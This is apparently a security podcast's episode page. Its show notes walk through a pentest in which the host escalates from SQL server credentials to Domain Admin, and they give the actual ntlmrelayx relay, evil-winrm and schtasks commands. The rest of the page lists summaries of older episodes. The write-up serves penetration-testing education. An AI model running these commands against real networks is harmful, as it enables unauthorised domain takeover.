7MS #691: Tales of Pentest Pwnage – Part 75

7MS #691: Tales of Pentest Pwnage – Part 75

Holy schnikes, today might be my favorite tale of pentest pwnage ever. Do I say that almost every episode? yes. Do I mean it? Yes. Here are all the commands/links to supplement today's episode:

  • Got an SA account to a SQL server through Snaffler-ing
  • With that SA account, I learned how to coerce Web auth from within a SQL shell – read more about that here
  • I relayed that Web auth with ntlmrelayx -smb2support -t ldap://dc --delegate-access --escalate-user lowpriv
  • I didn't have a machine account under my control, so I did SPNless RBCD on my lowpriv account – read more about that here
  • Using that technique, I requested a host service ticket for the SQL box, then used evil-winrm to remote in using the ticket
  • From there I checked out who had interactive logons: Get-Process -IncludeUserName explorer | Select-Object UserName
  • Then I queued up a fake task to elevate me to DA: schtasks /create /tn "TotallyFineTask" /tr 'net group "Domain Admins" lowpriv /add /domain' /sc once /st 12:00 /ru "DOMAIN\a-domain-admin" /it /f
  • …and ran it: schtasks /run /tn "TotallyFineTask"

Avsnitt(706)

7MS #257: Speaking at Secure360

7MS #257: Speaking at Secure360

The nervous butterflies are chewing up my organs this week. Why? Because I'm speaking at Secure360 next Tuesday and Wednesday. I'm trying to build a presentation that: Appeals to both techie nerds like me, as well as regular human people Strikes a healthy balance between fun and informative So, my outline is roughly as follows: Intros Lets talk about pentesting vs. vulnerability scans Build your own hackin' lab for $500! Good/bad training (CEH vs. OSCP) Lets hack some stuff following a methodology! Tune in today's episode for more...

11 Maj 201711min

7MS #256: AlienVault Certified System Engineer - Part 2

7MS #256: AlienVault Certified System Engineer - Part 2

So a few weeks ago I did an episode about the AlienVault Certified Security Engineer certification, and last Friday I took a stab at the test. I failed. It kicked my butt. Today I'm here to both rant about the unfairness of the test and offer you some study tips so you don't suffer a similar fate. P.S. - you should definitely check out this blog as it's one of the few valuable study guides I could find out there on the Interwebs.

4 Maj 201711min

7MS #255: PwnPro 101

7MS #255: PwnPro 101

I'm kicking the tires on the PwnPro which is an all-in-one wired, wireless and Bluetooth assessment and pentesting tool. Upon getting plugged into a network, it peers with a cloud portal and lets you assess and pentest from the comfort of your jammies back at your house! Oh, and did I mention it runs Kali on the back end? Delicious. Today's episode dives into some of what I've been learning about the PwnPro as I run it through its paces at work and warm it up for our first customer assessment...

27 Apr 201710min

7MS #254: Bash Bunny

7MS #254: Bash Bunny

I've been working with the Bash Bunny for the past few weeks in preparation for a presentation/demo I'm doing in a few weeks. Today I want to talk about what the Bunny is, the cool things it can do, and some of my favorite payloads. Also, I started thinking about what conversation topics spawn from a demo of the Bunny. Specifically, I want to know how people would defend against the Bunny using AD policies, peripheral controls, etc. Check out the Hak5 thread I started about this, as it has got some great ideas.

20 Apr 201710min

7MS #253: Desperately Seeking Service Accounts

7MS #253: Desperately Seeking Service Accounts

Find the show notes here!

13 Apr 20179min

7MS #252: LAPS - Local Administrator Password Solution

7MS #252: LAPS - Local Administrator Password Solution

Show notes are here.

6 Apr 20178min

7MS #251: Blackholing Malvertising with Pi-Hole

7MS #251: Blackholing Malvertising with Pi-Hole

Show notes are here

30 Mars 201710min

7MS #250: The PBS Telethon Episode!

7MS #250: The PBS Telethon Episode!

Show notes for today's episode can be found here!

23 Mars 201710min

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